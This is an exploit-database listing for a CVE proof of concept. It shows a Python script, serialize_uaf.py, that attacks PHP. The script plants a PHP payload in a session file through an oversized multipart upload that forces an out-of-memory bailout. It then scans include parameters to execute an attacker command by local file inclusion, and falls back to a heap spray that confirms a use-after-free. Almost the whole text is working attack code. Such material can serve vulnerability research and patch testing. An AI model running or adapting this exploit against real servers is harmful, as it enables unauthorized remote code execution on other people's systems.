Exploit database

GH-d926f5e7010d39afeb1b87bc528cb572

david-alvarez-rosa/php-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
david-alvarez-rosa/php-rceRevision 9a8f61c87dbc

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploits/serialize_uaf.py

Python · 2,828 bytes
from __future__ import annotations

import struct

from .common import (ARM_NAMES, ARM_NAMELEN, arm_body_with_payload, mp_part,
                     raw_send, parse_response, status_code, scan_lfi,
                     parse_target)

SPRAY_S_LEN = 39
MARK_NFREE = 0x4343434343434343
MARK_PDTOR = 0x4444444444444444


def serialize_uaf(url, cmd, sid, marker, payload):
    """Bug S — BG(serialize) context orphan.

    ARM: huge-filename upload triggers encode-side OOM pre-RINIT.  The
    bailout orphans BG(serialize) and skips session cleanup, leaving a
    persistent session file that contains the PHP payload from the first
    filename.

    LFI: scan common include parameters to include the persistent session
    file — the embedded <?php ?> tag executes the command.

    DIAGNOSTIC: if LFI fails, fire a marker spray to confirm context reuse
    (pDestructor / nNextFreeElement reflection).
    """
    host, port, use_tls, path = parse_target(url)
    bnd = b"SctxExploit"

    arm = arm_body_with_payload(sid, bnd, payload)
    print(f"    arming {ARM_NAMES}x{ARM_NAMELEN}B filenames (payload in f0)")
    resp = raw_send(host, port, arm, bnd.decode(), sid, path, use_tls,
                    stall=1.35, chunk=8192)
    sc = status_code(resp)
    if sc is None:
        print("    no response — target may have crashed")
        return None
    print(f"    arm status={sc}")

    out = scan_lfi(host, port, path, sid, marker, use_tls)
    if out:
        print("    RCE confirmed via LFI")
        return out
    print("    no LFI path found")

    tval = bytearray(SPRAY_S_LEN)
    struct.pack_into("<IIII", tval, 0, 1, 1, 8, 0)
    struct.pack_into("<Q", tval, 16, MARK_NFREE)
    struct.pack_into("<Q", tval, 24, MARK_PDTOR)
    tval = bytes(tval)

    fire_body = bytearray()
    fire_body += mp_part(bnd, b"PHPSESSID", sid.encode())
    fire_body += mp_part(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"x")
    for _ in range(120):
        fire_body += mp_part(bnd, b"t[]", tval)
    fire_body += mp_part(bnd, b"f", b"A" * 6144, filename=b"a")
    fire_body += mp_part(bnd, b"g", b"B" * 6144, filename=b"b")
    fire_body += b"--" + bnd + b"--\r\n"
    fire = bytes(fire_body)

    print(f"    spraying 120x{SPRAY_S_LEN}B for marker detection")
    resp = raw_send(host, port, fire, bnd.decode(), sid, path, use_tls,
                    stall=1.35, chunk=8192)
    body = parse_response(resp)
    sc = status_code(resp)

    if sc is None or len(body) == 0:
        print("    KILL — serialize context UAF confirmed")
    else:
        hexb = body.hex().encode()
        for mark, label in ((MARK_NFREE, "nNextFreeElement"), (MARK_PDTOR, "pDestructor")):
            if struct.pack("<Q", mark).hex().encode() in hexb:
                print(f"    HIT: {label}-marker — reclaim confirmed")

    return None